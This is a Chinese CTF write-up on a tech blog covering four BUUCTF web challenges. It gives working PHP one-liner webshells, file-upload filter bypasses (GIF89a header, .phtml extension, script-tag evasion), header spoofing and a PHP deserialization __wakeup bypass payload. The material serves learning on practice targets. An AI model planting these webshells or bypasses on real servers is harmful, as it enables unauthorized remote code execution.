IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUUCTF-web极客大挑战 -> 正文阅读

[PHP知识库]BUUCTF-web极客大挑战

目录

[极客大挑战 2019]Knife

[极客大挑战 2019]Http

[极客大挑战 2019]Upload

??

[极客大挑战 2019]PHP


[极客大挑战 2019]Knife


eval($_POST["Syc"]);

这是一个典型的后门程序,用蚁剑链接复制url,密码则是页面中给的密码Syc。

在根目录下找到flag文件,得出flag。

?

[极客大挑战 2019]Http


打开页面后查看源代码,发现一个php文件

打开链接node4.buuoj.cn:25883/Secret.php,给出了提示,说它不是来自https://Sycsecret.buuoj.cn这个页面,所以要对referer进行修改。

?使用burp对这个页面抓包,然后加上

referer: https://Sycsecret.buuoj.cn

send

?

意思就是说需要用Syclover浏览器,也就是需要改消息头的User-Agent参数?,将Mozilla改为Syclover就行了。

send,又出现了新的提示

?

意思是只能本地访问,所以加上

X-Forwarded-For: 127.0.0.1

?找到flag

[极客大挑战 2019]Upload


?

这道题是文件上传,先上传一个文件试一试,发现说不是图片

?

?所以使用burp抓包,对Content-Type进行修改为imaeg/gif,出现了提示

phtml文件

????????在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。

将后缀修改为phtml

出现了新的提示

?

?

html实体字符

? ? ? ? HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。

? ? ? ? 字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:&lt; 或者 &#60。

? ? ? ? &#x3C; ?代表:<,&#x3F; ?代表:?

也就是说上传文件里不能包含:" <? "? ? ?

所以用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['cmd']);</script>

send而后出现提示,就是说这不是图片

?所以,在文件前面加文件头:GIF89a,php会检测其为gif图片。使用getimagesize函数无法判断其图片是无效的。成功上传一句话木马,然后使用蚁剑链接,而上传文件一般都在upload目录下。

所以url:http://1992c45f-fa67-4b72-9b9a-4e2ed19764a5.node4.buuoj.cn:81/upload/1.phtml

密码则是:cmd

在根目录下找到flag

?

[极客大挑战 2019]PHP


?打开页面

?备份引起了我的注意,尝试使用www.zip为后缀,得到一个压缩包。

?里面有以flag为名的文件,但是提交后是错误的

看一下index,发现了一段php代码,是反序列化

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

?而class.php却更加复杂

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

?

分析代码应该是要求我们username=admin,password=100时得到flag
但是wakeup方法会导致username成为guest,当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行,因此需要通过序列化字符串中对象的个数来绕过该方法。

所以

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo serialize($a);
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//Name后面的2在链接中要改成3
?>

?

?加上后缀

?/index.phpselect=O%3A4%3A%22Name%22%3A3%3A{s%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B}

得出flag


?

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-22 18:16:01  更:2022-04-22 18:16:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 16:23:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码